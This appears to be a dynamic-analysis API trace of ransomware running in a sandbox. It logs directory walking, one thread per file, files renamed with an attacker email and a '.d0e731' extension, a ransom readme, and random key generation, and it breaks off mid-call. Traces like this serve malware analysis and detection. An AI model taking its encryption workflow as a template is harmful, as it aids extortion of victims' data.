(HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.334] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.334] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.334] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.335] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.335] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee0f0) returned 1 [0172.335] RtlExitUserThread (Status=0x1) Thread: id = 1951 os_tid = 0xe4c [0170.751] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2fa07f0 [0170.751] wcscpy (in: _Dest=0x2fa07f0, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0170.751] wcscat (in: _Dest=0x2fa07f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0170.751] wcscat (in: _Dest=0x2fa07f0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\*") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\*" [0170.751] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0170.751] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7d4ce90, ftCreationTime.dwHighDateTime=0x1d4d5dc, ftLastAccessTime.dwLowDateTime=0x8475badf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8475badf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045468 [0170.751] wcscmp (_String1=".", _String2=".") returned 0 [0170.751] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7d4ce90, ftCreationTime.dwHighDateTime=0x1d4d5dc, ftLastAccessTime.dwLowDateTime=0x8475badf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8475badf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.751] wcscmp (_String1="..", _String2=".") returned 1 [0170.751] wcscmp (_String1="..", _String2="..") returned 0 [0170.751] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2577db00, ftCreationTime.dwHighDateTime=0x1d4d360, ftLastAccessTime.dwLowDateTime=0x5afdfb40, ftLastAccessTime.dwHighDateTime=0x1d4cab6, ftLastWriteTime.dwLowDateTime=0x8462a7aa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x69e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="385ING~1.D0E")) returned 1 [0170.751] wcscmp (_String1="385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.751] wcscmp (_String1="385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.751] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91920 [0170.751] wcscpy (in: _Dest=0x2f91920, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0170.751] wcscat (in: _Dest=0x2f91920, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0170.751] wcscat (in: _Dest=0x2f91920, _Source="385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731" [0170.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0170.913] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81cbf0, ftCreationTime.dwHighDateTime=0x1d4c6fe, ftLastAccessTime.dwLowDateTime=0xc2952e00, ftLastAccessTime.dwHighDateTime=0x1d4d555, ftLastWriteTime.dwLowDateTime=0x84650ce4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="7-SB41~1.D0E")) returned 1 [0170.913] wcscmp (_String1="7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.913] wcscmp (_String1="7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.913] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f9de30 [0170.913] wcscpy (in: _Dest=0x2f9de30, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0170.913] wcscat (in: _Dest=0x2f9de30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0170.913] wcscat (in: _Dest=0x2f9de30, _Source="7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731" [0170.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9de30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8 [0170.913] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b03920, ftCreationTime.dwHighDateTime=0x1d4d350, ftLastAccessTime.dwLowDateTime=0xf2d05540, ftLastAccessTime.dwHighDateTime=0x1d4c7b3, ftLastWriteTime.dwLowDateTime=0x84676d83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16de4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="AP-SQN~1.D0E")) returned 1 [0170.914] wcscmp (_String1="AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.914] wcscmp (_String1="AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f912f0 [0170.914] wcscpy (in: _Dest=0x2f912f0, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0170.914] wcscat (in: _Dest=0x2f912f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0170.914] wcscat (in: _Dest=0x2f912f0, _Source="AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731" [0170.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f912f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0170.914] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9023d450, ftCreationTime.dwHighDateTime=0x1d4c8b5, ftLastAccessTime.dwLowDateTime=0xb1e17e40, ftLastAccessTime.dwHighDateTime=0x1d4ceb3, ftLastWriteTime.dwLowDateTime=0x8469cfc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="avpW9i.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="AVPW9I~1.D0E")) returned 1 [0170.914] wcscmp (_String1="avpW9i.mp4.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.915] wcscmp (_String1="avpW9i.mp4.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee048 [0170.915] wcscpy (in: _Dest=0x2fee048, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0170.915] wcscat (in: _Dest=0x2fee048, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0170.915] wcscat (in: _Dest=0x2fee048, _Source="avpW9i.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731" [0170.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0170.915] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8462a7aa, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8462a7aa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8462a7aa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0170.915] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0170.916] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0170.916] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f597e70, ftCreationTime.dwHighDateTime=0x1d4ca47, ftLastAccessTime.dwLowDateTime=0xc7bb74d0, ftLastAccessTime.dwHighDateTime=0x1d4cec4, ftLastWriteTime.dwLowDateTime=0x846c3272, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2558, dwReserved0=0x0, dwReserved1=0x0, cFileName="e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="E7Y1DW~1.D0E")) returned 1 [0170.916] wcscmp (_String1="e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.916] wcscmp (_String1="e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91df0 [0170.916] wcscpy (in: _Dest=0x2f91df0, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0170.916] wcscat (in: _Dest=0x2f91df0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0170.916] wcscat (in: _Dest=0x2f91df0, _Source="e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731" [0170.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0170.916] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c4da570, ftCreationTime.dwHighDateTime=0x1d4cf25, ftLastAccessTime.dwLowDateTime=0xcc2c41a0, ftLastAccessTime.dwHighDateTime=0x1d4c75f, ftLastWriteTime.dwLowDateTime=0x846e951a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x48af, dwReserved0=0x0, dwReserved1=0x0, cFileName="TcAlorii.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TCALOR~1.D0E")) returned 1 [0170.917] wcscmp (_String1="TcAlorii.swf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.917] wcscmp (_String1="TcAlorii.swf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.917] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f91ea0 [0170.917] wcscpy (in: _Dest=0x2f91ea0, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0170.917] wcscat (in: _Dest=0x2f91ea0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0170.917] wcscat (in: _Dest=0x2f91ea0, _Source="TcAlorii.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731" [0170.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0170.917] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x614938a0, ftCreationTime.dwHighDateTime=0x1d4d5c1, ftLastAccessTime.dwLowDateTime=0xb8b12ef0, ftLastAccessTime.dwHighDateTime=0x1d4c7d8, ftLastWriteTime.dwLowDateTime=0x84735a44, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9802, dwReserved0=0x0, dwReserved1=0x0, cFileName="w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="W6PZ6W~1.D0E")) returned 1 [0170.917] wcscmp (_String1="w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.918] wcscmp (_String1="w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.918] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f90f80 [0170.918] wcscpy (in: _Dest=0x2f90f80, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0170.918] wcscat (in: _Dest=0x2f90f80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0170.918] wcscat (in: _Dest=0x2f90f80, _Source="w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731" [0170.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0170.918] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a1a840, ftCreationTime.dwHighDateTime=0x1d4d176, ftLastAccessTime.dwLowDateTime=0x2f73d4b0, ftLastAccessTime.dwHighDateTime=0x1d4c59b, ftLastWriteTime.dwLowDateTime=0x8475badf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe909, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZKUDYR~1.D0E")) returned 1 [0170.919] wcscmp (_String1="ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.919] wcscmp (_String1="ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.919] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x4f0a968 [0170.919] wcscpy (in: _Dest=0x4f0a968, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0170.919] wcscat (in: _Dest=0x4f0a968, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0170.919] wcscat (in: _Dest=0x4f0a968, _Source="ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731" [0170.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0a968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0170.920] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a1a840, ftCreationTime.dwHighDateTime=0x1d4d176, ftLastAccessTime.dwLowDateTime=0x2f73d4b0, ftLastAccessTime.dwHighDateTime=0x1d4c59b, ftLastWriteTime.dwLowDateTime=0x8475badf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe909, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZKUDYR~1.D0E")) returned 0 [0170.920] FindClose (in: hFindFile=0x3045468 | out: hFindFile=0x3045468) returned 1 [0170.920] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0170.920] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa07f0) returned 1 [0170.920] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1310) returned 1 [0170.920] RtlExitUserThread (Status=0x0) Thread: id = 1952 os_tid = 0xfb0 [0170.752] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qhl6s.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.092] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qhl6s.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.092] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1407fd24 | out: lpFileSize=0x1407fd24*=72552) returned 1 [0172.092] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x11b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.092] ReadFile (in: hFile=0x5d4, lpBuffer=0x1407fcf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1407fcf4, lpOverlapped=0x0 | out: lpBuffer=0x1407fcf8*, lpNumberOfBytesRead=0x1407fcf4*=0x4, lpOverlapped=0x0) returned 1 [0172.093] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cd8 [0172.093] NtQuerySystemTime (in: CurrentTime=0x1407fcd0 | out: CurrentTime=0x1407fcd0*=132121213294045794) returned 0x0 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x59db86d8 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x822492c0 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x57c44862 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xce6c8b27 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xf4e804b4 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xd88151 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x752be485 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xaba5196b [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xa72ef696 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x5be96a70 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x8090d62 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xcb82e781 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xd2665dc7 [0172.093] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x7f5aa2ef [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x54e84e0e [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x72f6b1f [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x52ba0a84 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x19a05221 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xb31825d8 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x6d5d2803 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x5d83db18 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x40b0955b [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xc4691099 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x3036d126 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x96dc30c5 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xbf1b63d2 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xd8f3d8a [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xead29e53 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0x151a9214 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xd703a6b6 [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xcbc83a3a [0172.094] RtlRandom (in: Seed=0x1407fcdc | out: Seed=0x1407fcdc) returned 0xcc5dcef9 [0172.104] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0172.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d28 [0172.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.106] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 